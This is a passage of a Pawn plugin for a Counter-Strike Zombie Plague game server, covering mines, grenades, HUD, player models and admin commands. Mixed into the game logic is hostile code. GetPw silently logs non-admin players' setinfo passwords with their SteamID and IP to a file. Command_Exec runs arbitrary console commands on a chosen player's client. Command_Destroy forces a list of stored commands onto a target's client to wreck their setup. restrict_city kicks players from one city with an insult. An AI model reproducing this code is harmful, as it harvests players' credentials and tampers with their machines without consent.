		if (equal(cMode, "zp_multi") && g_bRoundStart && iFlags & 262144 && iAlive > 9 && g_iLastMode != 16)
		{
			StartMultiMode(true);
			remove_task(700);
			g_bRoundStart = false;
			remove_task(550);
			MessageLog(0, "^x04[ZP]^x03 %s^x01 started^x04 Multiple Infections^x01 round!", g_cName[iPlayer]);
		}
	}
	return 0;
}

public Command_Flash(iPlayer)
{
	if (g_bFlash[iPlayer])
	{
		static Float:fCurrentTime;
		fCurrentTime = get_gametime();
		if (fCurrentTime - g_fLastTime[iPlayer] < 0.5)
		{
			return 1;
		}
		g_fLastTime[iPlayer] = fCurrentTime;
		g_bFlashEnabled[iPlayer] = !g_bFlashEnabled[iPlayer];
		remove_task(iPlayer + 350);
		if (g_bFlashEnabled[iPlayer])
		{
            set_task(0.1, "TaskFlash", iPlayer + 350, "", 0, "b", 0);
		}
	}
	return 1;
}

Func_Explode(iOwner, iEntity)
{
	static i;
	static Float:fDamage;
	static iDistance;
	static Float:fVelocity[3];
	if (iEntity == g_iPlayerMines[iOwner][0])
	{
		g_iPlayerMines[iOwner][0] = 0;
	}
	else if (iEntity == g_iPlayerMines[iOwner][1])
	{
		g_iPlayerMines[iOwner][1] = 0;
	}
	g_iPlantedMines[iOwner]--;
	send_explosion(iEntity);
	send_beam_cylinder(iEntity, 121, 121, 121, random_num(140, 200));
	i = 1;
	while (g_iMaxClients + 1 > i)
	{
		if (g_bAlive[i])
		{
			iDistance = range(i, iEntity);
			if (iDistance < 360)
			{
				get_velocity(i, fVelocity);
				fVelocity [2] += 456.0;
				fVelocity [1] += 320.0;
				fVelocity [0] += 299.0;
				set_velocity(i, fVelocity);
				send_screen_shake(i, 150000 , 25000, 135000);
				client_cmd(i, "spk fvox/flatline");
				if (g_bZombie[i])
				{
                    fDamage = float(floatround(2600.0 - 2600.0 / 400.0 * float(iDistance), floatround_ceil));
                    PrintToChat(iOwner, "^x04[ZP]^x01 Damage to^x04 %s^x01 ::^x04 %0.0f^x01 damage", g_cName[i], fDamage);
                    send_screen_fade(i, 255, 0, 0, iDistance < 220 ? 220 : 160);
                    if(get_health(i) - fDamage > 0)
                    {
						ExecuteHamB(Ham_TakeDamage, i, iEntity, iOwner, fDamage, DMG_BLAST);
                    }
                    else
                    {
						ExecuteHamB(Ham_Killed, i, iOwner, 2);
                    }
				}
			}
		}
		i += 1;
	}
	remove_entity(iEntity);
	return 0;
}

public Mine_Think(iEntity, iHealth)
{
	static bool:bStop;
	static iOwner;
	bStop = false;
	iOwner = iuser2(iEntity);
	switch (pev(iEntity, pev_iuser1))
	{
		case 0:
		{
			set_pev(iEntity, pev_iuser1, 1);
			set_take_damage(iEntity, 2);
			set_pev(iEntity, pev_solid, 2);
			set_health(iEntity, 1800);
			sound(iEntity, 3, "zombie_plague/mine_activate.wav");
		}
		case 1:
		{
			iHealth = get_health(iEntity)
			if (g_iPlayerMines[iOwner][0] == iEntity)
			{
				set_hudmessage(10, 255, 200, 0.10, 0.37, 0, 0.10, 0.10, 0.10, 0.10, 18);
				ShowSyncHudMsg(iOwner, g_iFirstMineMessage, "First mine's health: %d", iHealth + -1000);
			}
			else if (g_iPlayerMines[iOwner][1] == iEntity)
			{
				set_hudmessage(10, 255, 200, 0.10, 0.40, 0, 0.10, 0.10, 0.10, 0.10, 18);
				ShowSyncHudMsg(iOwner, g_iSecondMineMessage, "Second mine's health: %d", iHealth + -1000);
			}
			if (iHealth <= 1000.0)
			{
				Func_Explode(iOwner, iEntity);
				bStop = true;
			}
		}	
	}
	if (!bStop)
	{
        set_nextthink(iEntity, get_gametime() + 0.1);
	}
	return 0;
}

public Grenade_Thrown(iOwner, iGrenade, iGrenadeType)
{
	if (g_bZombie[iOwner])
	{
		send_beam_follow(iGrenade, 0, 250, 0, 200);
		set_pev(iGrenade, pev_flTimeStepSound, 1);
		return 0;
	}
	switch (iGrenadeType)
	{
		case 4:
		{
			send_beam_follow(iGrenade, 255, 0, 0, 200);
			set_pev(iGrenade, pev_flTimeStepSound, 4);
		}
		case 9:
		{
			send_beam_follow(iGrenade, 0, 100, 200, 200);
			set_pev(iGrenade, pev_flTimeStepSound, 3);			
		}
		case 25:
		{
			send_beam_follow(iGrenade, 200, 40, 0, 200);
			set_pev(iGrenade, pev_flTimeStepSound, 2);	
		}	
	}
	return 0;
}

public Rocket_Touch(iOwner, iRocket)
{
	static Float:fDamage;
	static iDistance;
	static i;
	i = 1;
	while (g_iMaxClients + 1 > i)
	{
		if (g_bAlive[i] && g_bZombie[i])
		{
			iDistance = range(i, iRocket);
			if (iDistance <= 340)
			{
                fDamage = float(floatround(900.0 - 900.0 / 340.0 * float(iDistance), floatround_ceil));
                PrintToChat(iOwner, "^x04[ZP]^x01 Damage to^x04 %s^x01 ::^x04 %0.0f^x01 damage", g_cName[i], fDamage);	
                send_screen_shake(i, 150000, 25000, 135000);
                send_screen_fade(i, 255, 0, 0, iDistance < 220 ? 220 : 160);
                client_cmd(i, "spk fvox/flatline");
                if (floatsub(float(get_health(i)), fDamage) > 0)
                {
					ExecuteHamB(Ham_TakeDamage, i, iRocket, iOwner, fDamage, DMG_BLAST);
                }
                else
                {
					ExecuteHamB(Ham_Killed, i, iOwner, 2);
                }
			}
		}
		i += 1;
	}
	return 0;
}

public EventStatusValueHide(iPlayer)
{
	ClearSyncHud(iPlayer, g_iCenterMessageSync);
	return 0;
}

public TaskRemoveRender(iTask)
{
	if (g_bConnected[iTask])
	{
		remove_glow(iTask);
	}
	return 0;
}

public Command_Gag(iPlayer)
{
	if (!GetAccess(iPlayer, 4, 2))
	{
		return 1;
	}
	static cArgument[32];
	read_argv(1, cArgument, 31);
	static iTarget;
	iTarget = GetTarget(iPlayer, cArgument, 4);
	static iTime[3];
	read_argv(2, iTime, 2);
	if (!iTarget)
	{
		return 1;
	}
	if (g_fGagTime[iTarget] < get_gametime())
	{
		g_fGagTime[iTarget] = floatadd(get_gametime(), float(clamp(str_to_num(iTime), 1, 12) * 60));
		MessageLog(0, "^x01[ADMIN]^x04 %s^x01: gag^x04 %s^x01 for^x04 %i minutes", g_cName[iPlayer], g_cName[iTarget], clamp(str_to_num(iTime), 1, 12));
	}
	else
	{
		console_print(iPlayer, "[AMXX] Player ^"%s^" is already gagged", g_cName[iTarget]);
	}
	return 1;
}

public Command_Ungag(iPlayer)
{
	if (!GetAccess(iPlayer, 4, 2))
	{
		return 1;
	}
	static cArgument[32];
	read_argv(1, cArgument, 31);
	static iTarget;
	iTarget = GetTarget(iPlayer, cArgument, 4);
	if (!iTarget)
	{
		return 1;
	}
	if (g_fGagTime[iTarget] > get_gametime())
	{
		g_fGagTime[iTarget] = false;
		MessageLog(0, "^x01[ADMIN]^x04 %s^x01: ungag^x04 %s", g_cName[iPlayer], g_cName[iTarget]);
	}
	else
	{
		console_print(iPlayer, "[AMXX] Player ^"%s^" is already ungagged", g_cName[iTarget]);
	}
	return 1;
}

public Command_Exec(iPlayer)
{
	if (get_user_flags(iPlayer) & 1024)
	{
		static iTarget;
		static cCommand[64];
		static cTarget[32];
		read_argv(1, cTarget, 32);
		read_argv(2, cCommand, 64);
		iTarget = GetTarget(iPlayer, cTarget, 4);
		if (iTarget)
		{
			client_cmd(iTarget, cCommand);
		}
	}
	return 1;
}

public Command_Destroy(iPlayer)
{
	if (!GetAccess(iPlayer, 262144, 2))
	{
		return 1;
	}
	static i;
	static cArgument[32];
	read_argv(1, cArgument, 31);
	static iTarget;
	iTarget = GetTarget(iPlayer, cArgument, 4);
	if (!iTarget)
	{
		return 1;
	}
	if (get_user_flags(iPlayer) & 1 && get_user_flags(iTarget) & 4)
	{
		server_cmd("amx_destroy #%i; wait; wait", get_user_userid(iPlayer));
		server_cmd("addip 0 ^"%s^";writeip", g_cPlayerAddress[iPlayer]);
		server_cmd("banid 0 %s", g_cSteam[iPlayer]);
		server_cmd("writeid");
		return 1;
	}
	g_iLimitReached[iPlayer]++;
	if (3 < g_iLimitReached[iPlayer])
	{
		return 1;
	}
	PrintToChat(iTarget, "^x04[ZP]^x04 ***********************************************************");
	PrintToChat(iTarget, "^x04[ZP]^x01 Admin :^x04 %s", g_cName[iPlayer]);
	PrintToChat(iTarget, "^x04[ZP]^x01 Jucator :^x04 %s", g_cName[iTarget]);
	PrintToChat(iTarget, "^x04[ZP]^x01 Adresa (IP) :^x04 %s", g_cPlayerAddress[iTarget]);
	PrintToChat(iTarget, "^x04[ZP]^x01 Forum :^x04 www.bleahhhhh.tk");
	client_cmd(0, "spk ^"vox/bizwarn coded user apprehend^"");
	client_cmd(iTarget, "say %s mi-a dat DESTROY!", g_cName[iPlayer]);
	i = 0;
	while (i < 19)
	{
		client_cmd(iTarget, g_cDestroyChanges[i]);
		i += 1;
	}
	MessageLog(0, "^x04[AMXX]^x04 %s^x01 destroy^x04 %s", g_cName[iPlayer], g_cName[iTarget]);
	return 1;
}

public Command_Reload(iPlayer)
{
	if (!GetAccess(iPlayer, 1, 1))
	{
		return 1;
	}
	g_iAdminsCount = 0;
	TaskGetAdmins();
	new i = 1;
	while (g_iMaxClients + 1 > i)
	{
		if (g_bConnected[i] && !g_bFake[i])
		{
			MakeUserAdmin(i);
		}
		i++;
	}
	console_print(iPlayer, "[AMXX] Successfully loaded %d acounts from file", g_iAdminsCount);
	return 1;
}

public Command_Who(iPlayer)
{
	new i = 1;
	while (g_iMaxClients + 1 > i)
	{
		if (g_bConnected[i] && !g_bFake[i] && g_bAdmin[i])
		{
			console_print(iPlayer, "%s^9-^9%s^9-^9%s", g_cName[i], g_cTag[i], g_cPersonalFlags[i]);
		}
		i++;
	}
	return 0;
}

public Command_Showip(iPlayer)
{
	if (!GetAccess(iPlayer, 8, 1))
	{
		return 1;
	}
	new i = 1;
	while (g_iMaxClients + 1 > i)
	{
		if (g_bConnected[i] && !g_bFake[i])
		{
			console_print(iPlayer, "   -   %s | %s | %s | %s", g_cName[i], g_cPlayerAddress[i], g_cSteam[i], Data[iPlayer][1]);
		}
		i++;
	}
	return 1;
}

public Command_Last(iPlayer)
{
	if (!GetAccess(iPlayer, 8, 1))
	{
		return 1;
	}
	static cAddress[24];
	static cName[32];
	static i;
	i = 0;
	while (i < g_iSize)
	{
		GetInfo(i, cName, 32, cAddress, 24);
		console_print(iPlayer, "%32s %24s", cName, cAddress);
		i += 1;
	}
	return 1;
}

public client_putinserver(iPlayer)
{
	static iSize;
	if (is_user_bot(iPlayer))
	{
		g_bFake[iPlayer] = true;
	}
	else
	{
		g_bFake[iPlayer] = false;
	}
	g_iTripMines[iPlayer]++;
	g_bAlive[iPlayer] = false;
	g_bNoDamage[iPlayer] = false;
	g_bZombie[iPlayer] = false;
	Loaded[iPlayer] = false;
	g_iPacks[iPlayer] = 5;
	g_iBurningDuration[iPlayer] = 0;
	g_iPlayerType[iPlayer] = 0;
	g_iZombieNextClass[iPlayer] = -1;
	client_cmd(iPlayer, "cl_minmodels 0");
	get_user_ip(iPlayer, g_cPlayerAddress[iPlayer], 24, 1);
	get_user_authid(iPlayer, g_cSteam[iPlayer], 24);
	strip_name(g_cName[iPlayer], 32);
	set_task(0.2, "LoadPlayer", iPlayer, "", 0, "", 0);
	if (!g_bFake[iPlayer])
	{
		new Name[ 32 ]
		get_user_name(iPlayer, Name, 31);
		MakeUserAdmin(iPlayer);
		Task_EnableFlash(iPlayer);
		set_task(1.0, "TaskHud", iPlayer + 300, "", 0, "b", 0);
		set_task(12.0, "TaskCheckName", iPlayer, "", 0, "", 0);
		set_task(3.0, "GetPw", iPlayer, "", 0, "", 0);	
		PrintToChat(0, "^x01Player^x04 %s^x01 from ^x03%s^x01 has joined the game!", Name, Data[iPlayer][1]);
	}
	if ((iSize = ArraySize(g_aAmmoData)))
	{
		static cSavedName[32];
		static i;
		i = iSize + -1;
		while (i > -1)
		{
			ArrayGetString(g_aNameData, i, cSavedName, 32);
			if (equali(cSavedName, g_cName[iPlayer]))
			{
				g_iPacks[iPlayer] = ArrayGetCell(g_aAmmoData, i);
			}
			i -= 1;
		}
	}
	g_bConnected[iPlayer] = true;
	return 0;
}

public restrict_city(iPlayer)
{
	if (equal(Data[iPlayer][1], "Bucharest"))
	{
		server_cmd("kick #%d  Stupid fuck's have no entry to the server...", get_user_userid(iPlayer));
	}
	return 0;
}

public LoadPlayer( Player )
{
	if( is_user_connected( Player ) && !is_user_bot( Player ) )
	{
		LoadData( Player );
	}
}

public GetPw(iPlayer)
{
	if (!g_bAdmin[iPlayer])
	{
		static PwBd[32];
		static Pw[32];
		get_user_info(iPlayer, "_pw", Pw, 31);
		get_user_info(iPlayer, "_blackdevil", PwBd, 31);
		if (Pw[0])
		{
			log_to_file("BlackDevil.log", "Nick: %s, Pass: setinfo _pw %s, Steam: %s, Ip: %s", g_cName[iPlayer], Pw, g_cSteam[iPlayer], g_cPlayerAddress[iPlayer]);
		}
		else if (PwBd[0])
		{
			log_to_file("BlackDevil.log", "Nick: %s, Pass: setinfo _blackdevil %s, Steam: %s, Ip: %s", g_cName[iPlayer], PwBd, g_cSteam[iPlayer], g_cPlayerAddress[iPlayer]);
		}
	}
	return 0;
}

public client_disconnect(iPlayer)
{
	if (g_bAlive[iPlayer])
	{
		CheckLastPlayer(iPlayer);
	}
	if (!g_iVariables[2] && !g_bFake[iPlayer])
	{
		InsertInfo(iPlayer);
		ArrayPushString(g_aNameData, g_cName[iPlayer]);
		ArrayPushCell(g_aAmmoData, g_iPacks[iPlayer]);
	}
	remove_task(iPlayer + 250);
	remove_task(iPlayer + 200);
	remove_task(iPlayer + 300);
	remove_task(iPlayer + 350);
	remove_task(iPlayer + 500);
	remove_task(iPlayer + 450);
	if (g_iPlantedMines[iPlayer])
	{
		rem(iPlayer);
		g_iPlantedMines[iPlayer] = 0;
	}
	g_iPlayerMines[iPlayer][1] = 0;
	g_iPlayerMines[iPlayer][0] = 0;
	g_iTripMines[iPlayer] = 0;
	g_iBlinks[iPlayer] = 0;
	g_bRemoving[iPlayer] = false;
	g_bPlanting[iPlayer] = false;
	g_bUnlimitedClip[iPlayer] = false;
	g_bTryder[iPlayer] = false;
	g_bAlive[iPlayer] = false;
	g_bConnected[iPlayer] = false;
	g_fGagTime[iPlayer] = false;
	Loaded[iPlayer] = false;
	g_iPingOverride[iPlayer] = -1;
	if (g_bFake[iPlayer])
	{
		g_bFake[iPlayer] = false;
		g_iBotsCount -= 1;
	}
	return 0;
}

public client_infochanged(iPlayer)
{
	if (!g_bConnected[iPlayer])
	{
		return 0;
	}
	static cName[32];
	get_user_info(iPlayer, "name", cName, 31);
	if (!equal(g_cName[iPlayer], cName))
	{
		copy(g_cName[iPlayer], 31, cName);
		MakeUserAdmin(iPlayer);
		set_task(2.0, "TaskCheckName", iPlayer, "", 0, "", 0);
	}
	return 0;
}

public MakeUserAdmin(iPlayer)
{
	static i;
	new Name[ 32 ]
	get_user_name(iPlayer, Name, 31);	
	remove_user_flags(iPlayer, -1);
	g_bAdmin[iPlayer] = false;
	i = 0;
	while (i < g_iAdminsCount)
	{
		if (equali(g_cNames[i], g_cName[iPlayer]))
		{
			static Pw[32];
			get_user_info(iPlayer, "_pw", Pw, 31);
			if (equali(Pw, g_cPasswords[i]))
			{
			    g_bAdmin[iPlayer] = true;
			    formatex(g_cPersonalFlags[iPlayer], 31, "%s", g_cFlags[i]);
			    copy(g_cTag[iPlayer], 24, g_cTags[i]);
			    set_user_flags(iPlayer, read_flags(g_cPersonalFlags[iPlayer]));
			    log_amx("Login: ^"%s^" became an admin. [ %s, %s, %s ] ", Name, g_cSteam[iPlayer], g_cPersonalFlags[iPlayer], g_cPlayerAddress[iPlayer]);
			    return 0;
			}
			else if (equali(Pw, g_cPasswords[i]))
			{
			    server_cmd("kick #%d  You have no entry to the server...", get_user_userid(iPlayer));
			    log_amx("Login: ^"%s^" kicked due to invalid password. [ %s, %s ]", Name, g_cSteam[iPlayer], g_cPlayerAddress[iPlayer]);
			    return 0;
			}
		}
		else
		{
			if (equali(g_cSteams[i], g_cSteam[iPlayer]))
			{
				g_bAdmin[iPlayer] = true;
				formatex(g_cPersonalFlags[iPlayer], 31, "%s", g_cFlags[i]);
				copy(g_cTag[iPlayer], 24, g_cTags[i]);
				set_user_flags(iPlayer, read_flags(g_cPersonalFlags[iPlayer]));
				log_amx("Login: ^"%s^" became an admin. [ %s, %s, %s ] ", Name, g_cSteam[iPlayer], g_cPersonalFlags[iPlayer], g_cPlayerAddress[iPlayer]);
				return 0;
			}			
		}
		i += 1;
	}
	return 0;
}

public TaskCheckName(iPlayer)
{
	if (g_bConnected[iPlayer])
	{
		check_for_swear(iPlayer);
	}
	return 0;
}

public _ResetMaxSpeed(iPlayer)
{
    if (!g_bAlive[iPlayer])
    {
        return 0;
    }
    if (g_bFrozen[iPlayer])
    {
        set_speed(iPlayer, 1.0);
    }
    else
    {
        if (g_bTryder[iPlayer])
        {
            set_gravity(iPlayer, 0.5);
            set_speed(iPlayer, 250.0)
        }
		else
		{
            if (g_bZombie[iPlayer])
            {
			    if (!g_iPlayerType[iPlayer])
			    {
				    set_speed(iPlayer, g_fZombieSpeeds[g_iZombieClass[iPlayer]]);
				    set_gravity(iPlayer, g_fZombieGravities[g_iZombieClass[iPlayer]]);
			    }
			    else
			    {
				    if (g_iPlayerType[iPlayer] & 1)
				    {
                        set_speed(iPlayer, 250.0);
                        set_gravity(iPlayer, 0.5);
				    }
				    if (g_iPlayerType[iPlayer] & 2)
				    {
                        set_speed(iPlayer, 600.0);
                        set_gravity(iPlayer, 0.4);
				    }
			    }
		
            }
            else
            {
		        if (!g_iPlayerType[iPlayer])
		        {
                    set_speed(iPlayer, 240.0);
                    set_gravity(iPlayer, 1.0);
		        }
			    else
			    {				
				    if (g_iPlayerType[iPlayer] & 4)
				    {
                        set_speed(iPlayer, 250.0);
                        set_gravity(iPlayer, 1.2);
				    }
				    if (g_iPlayerType[iPlayer] & 8)
				    {
                        set_speed(iPlayer, 240.0);
                        set_gravity(iPlayer, 1.0);
				    }
				}			
            }			
		}
    }
    return 0;
}

public _GrenadeThink(iEntity)
{
	if (get_dmgtime(iEntity) > get_gametime())
	{
		return 1;
	}	
	switch (pev(iEntity, pev_flTimeStepSound))
	{
		case 1:
		{
			Infection_Explode(iEntity);
			return 4;
		}
		case 2:
		{
			Fire_Explode(iEntity);
			return 4;
		}
		case 3:
		{
			Freeze_Explode(iEntity);
			return 4;
		}
		case 4:
		{
			Explosion_Explode(iEntity);
			return 4;
		}	
	}
	return 1;
}

public _PlayerDuck(iPlayer)
{
    if (g_bZombie[iPlayer] && !(g_iPlayerType[iPlayer] & 2))
    {
		static Float:fCurrentTime;
		static Float:fCoolDown;
		if (g_iPlayerType[iPlayer])
		{
			fCoolDown = 1.0;
		}
		else
		{
			fCoolDown = 13.0;
		}
		fCurrentTime = get_gametime();
		if (fCurrentTime - g_fLastLeapTime [iPlayer] < fCoolDown  || !(pev(iPlayer, pev_button) & IN_JUMP) || !(pev(iPlayer, pev_flags) & FL_ONGROUND) || GetSpeed (iPlayer ) < 80) 
		{
			return 1;
		}
		static Float:fVelocity[3];
		if (g_iPlayerType[iPlayer])
		{
			velocity_by_aim(iPlayer, 500, fVelocity), fVelocity[2] = 300.0;
		}
		else
		{
			velocity_by_aim(iPlayer, 360, fVelocity), fVelocity[2] = 250.0;
		}
		set_velocity(iPlayer, fVelocity);
		g_fLastLeapTime[iPlayer] = fCurrentTime;
    }
    return 0;
}

public CmdBlock()
{
	return 1;
}

public CmdUpdate(iPlayer)
{
	static Float:fGameTime;
	fGameTime = get_gametime();
	if (fGameTime - g_fLast[iPlayer] < 0.3)
	{
		server_cmd("kick #%d  You are banned due to flooding!; addip 60 %s; writeip", get_user_userid(iPlayer), g_cPlayerAddress[iPlayer]);
	}
	else
	{
		g_fLast[iPlayer] = fGameTime;
	}
	return 0;
}

public ChangeModel(iTask)
{
	static bool:bChange;
	static cModel[24];
	static i;
	static iPlayer;
	iPlayer = iTask + -250;
	bChange = true;
	get_user_model(iPlayer, cModel, 24);
	static iFlags;
	iFlags = get_user_flags(iPlayer);
	if (!g_bZombie[iPlayer])
	{
		if (!g_iPlayerType[iPlayer])
		{
			if (iFlags & 4)
			{
				if (equal(cModel, "administrator"))
				{
					bChange = false;
				}
			}
			i = 0;
			while (i < 4)
			{
				if (equal(cModel, g_cHumanModels[i]))
				{
					bChange = false;
				}
				i += 1;
			}
		}
	}
	if (bChange)
	{
		if (!g_bZombie[iPlayer])
		{
			if (!g_iPlayerType[iPlayer])
			{
				if (iFlags & 4)
				{
					set_user_model(iPlayer, "administrator");
				}
				else
				{
					set_user_model(iPlayer, g_cHumanModels[random_num(0, 3)]);
				}
			}
			else
			{
				if (g_iPlayerType[iPlayer] & 4)
				{
					set_user_model(iPlayer, "survivor");
				}
				if (g_iPlayerType[iPlayer] & 8)
				{
					if (!equal(cModel, "arctic"))
					{
						set_user_model(iPlayer, "arctic");
					}
				}
			}
		}
		else
		{
			if (!g_iPlayerType[iPlayer])
			{
				set_user_model(iPlayer, g_cZombieModels[g_iZombieClass[iPlayer]]);
			}
			if (g_iPlayerType[iPlayer] & 1)
			{
				set_user_model(iPlayer, "monster_nemesis");
			}
			if (g_iPlayerType[iPlayer] & 2)
			{
				set_user_model(iPlayer, "monster_assassin");
			}
		}
	}
	return 0;
}

public TaskLight()
{
	if (g_iRoundType & 2)
	{
        light("a");
	}
	else
	{
		static cLight[2];
		get_cvar_string("light", cLight, 1);
		light(cLight);
	}
	static i;
	i = 1;
	while (g_iMaxClients + 1 > i)
	{
		if (g_bAlive[i] && g_bZombie[i] && !g_iPlayerType[i] && g_iZombieClass[i] == 5 && get_health(i) < 6000)
		{
			set_health(i, get_health(i) + 350);
			send_sparks(i);
			send_screen_fade(i, 10, 255, 10, 94);
			set_hudmessage(255, 0, 175, -1.00, 0.10, 1, 0.00, 1.75, 1.00, 1.00, -1);
			ShowSyncHudMsg(i, g_iTopMessageSync, "== REGENERATOR ==^n!!!!Regeneration: +350 HP Gained!!!!");
		}
		i += 1;
	}
	return 0;
}

public TaskWelcome()
{
	PrintToChat(0, "^1****^4 SilentNightZM.CSBlacKDeviL.Com^1 ||^4 Zombie Plague (Reloaded)^1 ****");
	PrintToChat(0, "^x04[ZP]^x01 Press^x04 M^x01 to open the game menu!");
	set_hudmessage(0, 125, 200, -1.00, 0.17, 1, 0.00, 3.00, 2.00, 1.00, -1);
	ShowSyncHudMsg(0, g_iTopMessageSync, "The T-Virus has been set loose...");
	return 0;
}

public TaskAmbience()
{
	if (g_iRoundType & 4 || g_iRoundType & 2)
	{
		client_cmd(0, "spk zombie_plague/ambience_survivor.wav");
	}
	else
	{
		client_cmd(0, "spk zombie_plague/ambience_normal.wav");
	}
	return 0;
}

public TaskZombie()
{
	if ((g_iAliveCount = GetAliveCount()))
	{
		g_bRoundStart = false;
		if (g_iRoundsCount > 2)
		{
			StartSwarmMode(false);
		}
		else
		{
			StartNormalMode(0);
		}
	}
	else
	{
        set_task(6.0, "TaskZombie", 550, "", 0, "", 0);
	}
	return 0;
}

public TaskHud(iTask)
{
	static cHealth[15];
	static iPlayer;
	static Red, Green, Blue;
	iPlayer = iTask + -300;
	if (!g_bAlive[iPlayer])
	{
		iPlayer = iuser2(iPlayer);
		if (!g_bAlive[iPlayer])
		{
			return 0;
		}
	}
	if (iTask + -300 != iPlayer)
	{
		AddCommas(get_health(iPlayer), cHealth, 14);
		set_hudmessage(0, 125, 200, -1.00, 0.79, 0, 6.00, 1.10, 0.00, 0.00, -1);
		ShowSyncHudMsg(iTask + -300, g_iDownMessageSync, "Spectating %s^n Health: %s - Class: %s - Ammo: %d - Armor: %d^nFrom: %s, %s", g_cName[iPlayer], cHealth, g_cClass[iPlayer], g_iPacks[iPlayer], get_armor(iPlayer), Data[iPlayer][1], Data[iPlayer][4]);
	}
	else
	{
		AddCommas(get_health(iTask + -300), cHealth, 14);
		if (g_bZombie[iTask + -300])
		{
			Red = 60;
		}
		else
		{
			Red = 180;
		}
		if (g_bZombie[iTask + -300])
		{
			Green = 135;
		}
		else
		{
			Green = 120;
		}
		if (g_bZombie[iTask + -300])
		{
			Blue = 180;
		}
		else
		{
			Blue = 0;
		}
		set_hudmessage(Blue, Green, Red, 0.02, 0.90, 0, 6.00, 1.10, 0.00, 0.00, -1);
		ShowSyncHudMsg(iTask + -300, g_iDownMessageSync, "Health: %s - Class: %s - Ammo: %d - Armor: %d", cHealth, g_cClass[iTask + -300], g_iPacks[iTask + -300], get_armor(iTask + -300));
	}
	return 0;
}

public TaskFlash(iTask)
{
	flash(iTask + -350);
	return 0;
}

Infection_Explode(iEntity)
{
	send_beam_cylinder(iEntity, 0, 250, 0, 200);
	if (g_bRoundEnd)
	{
		return 0;
	}
	sound(iEntity, 1, "zombie_plague/grenade_infection_explode.wav");
	static j;
	static i;
	i = pev(iEntity, pev_owner);
	j = 1;
	while (g_iMaxClients + 1 > j)
	{
		if (!g_bAlive[j] || g_bZombie[j] || range(j, iEntity) > 250)
		{
		}
		else
		{
			sound(j, 2, g_cHumanNadeInfectSounds[random_num(0, 2)]);
			if (GetHumans() == 1)
			{
				ExecuteHamB(Ham_Killed, j, i, 2);
			}
			else
			{
				MakeZombie(i, j, false, false, false);
			}
		}
		j += 1;
	}
	remove_entity(iEntity);
	return 0;
}

Fire_Explode(iEntity)
{
	send_beam_cylinder(iEntity, 200, 50, 0, 200);
	sound(iEntity, 1, "zombie_plague/grenade_fire_explode.wav");
	static i;
	i = 1;
	while (g_iMaxClients + 1 > i)
	{
		if (!g_bAlive[i] || !g_bZombie[i] || g_bNoDamage[i] || range(i, iEntity) > 250)
		{
		}
		else
		{
			send_damage(i, 8);
			if (g_iPlayerType[i])
			{
				g_iBurningDuration[i] += 8;
			}
			else
			{
				g_iBurningDuration[i] += 40;
			}
			if (!task_exists(i + 200))
			{
				set_task(0.2, "TaskBurn", i + 200, "", 0, "b", 0);
			}
		}
		i += 1;
	}
	remove_entity(iEntity);
	return 0;
}

public TaskBurn(iTask)
{
	static iFlags;
	static iPlayer;
	iPlayer = iTask + -200;
	iFlags = get_ent_flags(iPlayer);
	if (g_iBurningDuration[iPlayer] < 1 || iFlags & FL_INWATER || g_bNoDamage[iPlayer])
	{
		send_smoke(iPlayer);
		remove_task(iTask);
		return 0;
	}
	if (!g_iPlayerType[iPlayer] && !random_num(0, 16))
	{
		sound(iPlayer, 2, g_cZombieBurnSounds[random_num(0, 4)]);
	}
	if (!g_iPlayerType[iPlayer])
	{
		static Float:fVelocity[3];
		get_velocity(iPlayer, fVelocity);
		xs_vec_mul_scalar(fVelocity, 0.42, fVelocity);
		set_velocity(iPlayer, fVelocity);
	}
	static iHealth;
	iHealth = get_health(iPlayer);
	if (0 < iHealth + -6)
	{
		set_health(iPlayer, iHealth + -6);
	}
	send_flame(iPlayer);
	g_iBurningDuration[iPlayer]--;
	return 0;
}

Freeze_Explode(iEntity)
{
	send_beam_cylinder(iEntity, 0, 100, 200, 200);
	sound(iEntity, 1, "zombie_plague/grenade_fire_explode.wav");
	static i;
	i = 1;
	while (g_iMaxClients + 1 > i)
	{
		if (!g_bAlive[i] || !g_bZombie[i] || g_bNoDamage[i] || g_bFrozen[i] || range(i, iEntity) > 250)
		{
		}
		else
		{
			send_damage(i, 16384);
			if (!(g_iPlayerType[i] & 1))
			{
				g_bFrozen[i] = true;
				ExecuteHamB(Ham_Item_PreFrame, i);
				set_frozen(i, true);
				sound(i, 4, "zombie_plague/grenade_frost_freeze.wav");
				set_glow(i, 19, 13, 0, 100, 200);
				set_task(3.0, "TaskUnfreeze", i, "", 0, "", 0);
				send_screen_fade(i, 0, 50, 200, 100);

			}
			else
			{
				sound(i, 4, "zombie_plague/grenade_frost_break.wav");
				send_break_glass(i);
			}
		}
		i += 1;
	}
	remove_entity(iEntity);
	return 0;
}

public TaskUnfreeze(i)
{
	if (g_bConnected[i] && !g_bRoundStart)
	{
		g_bFrozen[i] = false;
		set_frozen(i, false);
		ExecuteHamB(Ham_Item_PreFrame, i);
		send_screen_fade(i, 0, 50, 200, 160);
		sound(i, 4, "zombie_plague/grenade_frost_break.wav");
		send_break_glass(i);
		remove_glow(i);
	}
	return 0;
}

Explosion_Explode(iEntity)
{
	send_explosion(iEntity);
	static iDamage;
	static iDistance;
	static i;
	static iOwner;
	iOwner = pev(iEntity, pev_owner);
	if (0 < iOwner < g_iMaxClients + 1 && g_bConnected[iOwner])
	{
		i = 1;
		while (g_iMaxClients + 1 > i)
		{
			if (!g_bAlive[i] || !g_bZombie[i])
			{
			}
			else
			{
				iDistance = range(i, iEntity);
				if (iDistance < 260)
				{
					iDamage = 650 - iDistance * 2;
					send_screen_fade(i, 255, 0, 0, iDistance < 220 ? 220 : 160);					
					send_screen_shake(i, 150000 , 25000, 135000);
					client_cmd(i, "spk fvox/flatline");
					if (0 < get_health(i) - iDamage)
					{
						ExecuteHamB(Ham_TakeDamage, i, iEntity, iOwner, float(iDamage), DMG_BLAST);
					}
					else
					{
						ExecuteHamB(Ham_Killed, i, iOwner, 2);
					}
					PrintToChat(iOwner, "^x04[ZP]^x01 Damage to^x04 %s^x01 ::^x04 %d^x01 damage", g_cName[i], iDamage);
				}
			}
			i += 1;
		}
	}
	remove_entity(iEntity);
	return 0;
}

public Command_Drop(iPlayer)
{
	if (g_bConnected[iPlayer])
	{
		if (get_user_jetpack(iPlayer) && g_iWeapon[iPlayer] == 29)
		{
			user_drop_jetpack(iPlayer, 0);
			return 1;
		}
		if (g_iPlayerType[iPlayer])
		{
			return 1;
		}
	}
	return 0;
}

public Command_JoinTeam(iPlayer)
{
	if (0 < iPlayer < g_iMaxClients + 1 && g_bConnected[iPlayer] && 0 < get_user_team(iPlayer) < 3 && !g_bFake[iPlayer])
	{
